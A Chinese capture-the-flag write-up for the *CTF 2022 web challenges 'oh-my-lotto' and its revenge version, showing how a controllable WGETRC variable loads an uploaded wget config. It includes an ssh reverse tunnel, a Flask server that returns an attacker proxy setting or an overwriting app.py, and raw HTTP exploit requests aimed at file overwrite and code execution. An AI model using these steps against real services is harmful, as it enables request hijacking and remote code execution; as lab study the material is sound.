周末看了*ctf2022的题目 web依旧没活硬整 总体打个3🌟吧
这里写一个我觉得还蛮有意思的oh-my-lotto
题
其他题解请移步EDI安全公众号
oh-my-lotto
前面就是基础的pytho代码阅读
有两个服务 一个是web竞猜 一个是生成竞猜数据
功能点:
- 在
web竞猜
服务上传一个文件 内容为你猜的数值
- 设置一次环境变量
web竞猜
服务通过wget
请求http://lotto/
- 如果你上传的文件内容和随机生成的竞猜数据相同即可获得flag
既然可以设置环境变量就和p牛的那个题思路差不多了
下载wget源码查看所有可以利用的环境变量(搜索getenv
很容易发现了一个RC
结尾的变量WGETRC
查看wget的帮助文档可以发现该变量用于加载配置文件 配置文件格式与wget命令一致
题目过滤了proxy
不能修改系统变量实现代理 但是我们还是可以使用配置文件加载代理
所以我们上传一个内容为代理配置的文件 让wget设置该代理 就可以在本地拦截题目内部对lotto的请求,这样修改返回包内容即可获取flag
我们首先把本地的burp转发到服务器上
ssh -p 22 -f -g -C -N -R 8080:127.0.0.1:8080 [email protected]7
因为服务器请求的是http://lotto
我们在本地也添加一条host解析 这样就不用手动改包了
接着启动一个web服务 返回代理配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from flask import Flask, make_response import secrets
app = Flask(__name__)
@app.route("/") def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = '\n'.join(lotto) r = "http_proxy=http://120.26.59.137:8080" response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return response
if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80)
|
题目需要输入md5的值才可以启动环境 简单爆破一下md5
随后针对题目上传文件 指定代理为我的服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| POST /forecast HTTP/1.1 Host: 121.36.217.177:53002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------2363992665965896981350789360 Content-Length: 249 Origin: http://127.0.0.1:8880 Connection: close Referer: http://127.0.0.1:8880/forecast Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 X-Forwarded-For: 1.1.1.1 X-Originating-IP: 1.1.1.1 X-Remote-IP: 1.1.1.1 X-Remote-Addr: 1.1.1.1
-----------------------------2363992665965896981350789360 Content-Disposition: form-data; name="file"; filename="2.jpg" Content-Type: image/jpeg
http_proxy=http://120.26.59.137:8080 -----------------------------2363992665965896981350789360--
|
接着修改环境变量WGETRC
指向刚刚上传的文件 使wget
加载代理请求http://lotto
返回内容为代理配置内容 getflag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| POST /lotto HTTP/1.1 Host: 121.36.217.177:53002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------134338874213176516492993923776 Content-Length: 324 Origin: http://127.0.0.1:8880 Connection: close Referer: http://127.0.0.1:8880/lotto Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 X-Forwarded-For: 1.1.1.1 X-Originating-IP: 1.1.1.1 X-Remote-IP: 1.1.1.1 X-Remote-Addr: 1.1.1.1
Content-Disposition: form-data; name="lotto_key"
WGETRC
Content-Disposition: form-data; name="lotto_value"
/app/guess/forecast.txt
|
oh-my-lotto-revenge
和出题人沟通后 证实了我那个思路是非预期 晚点的时候上了revenge
在revenge中 修改了flag获取条件 需要rce(出题人为了照顾第一个题使其不烂掉 还是没有ban WGETRC
这就给了我很大的操作空间
首先我们要知道 wget参数可控的情况下有哪些可利用的参数
- 文件读取
- 指定输出文件
- 设置代理
…
我们留意一下出题人使用的参数
--content-disposition
当选择本地文件名时允许 Content-Disposition
-N
只获取比本地文件新的文件
根据lotto
服务的返回我们可以发现response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
所以我们可以修改filename
的值 让他覆盖当前目录下的任意文件
细心点可以发现出题人把web服务的debug打开了 所以可以直接使用代理来替换app.py(赛后看到有的师傅是修改模板文件 思路都一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from flask import Flask, make_response import secrets
app = Flask(__name__)
@app.route("/") def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = '\n'.join(lotto) r = open("exp1.py",'r').read() response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=app.py' return response
if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80)
|
出题人用的是gunicorn来保持python运行 不会及时的重载
但我们还是可以使用bp拦截数据包 直到gunicorn重启worker
你要做的就是不停的请求shell路由
留给读者的问题
环境变量可控注入的情况下
system执行wget能rce么?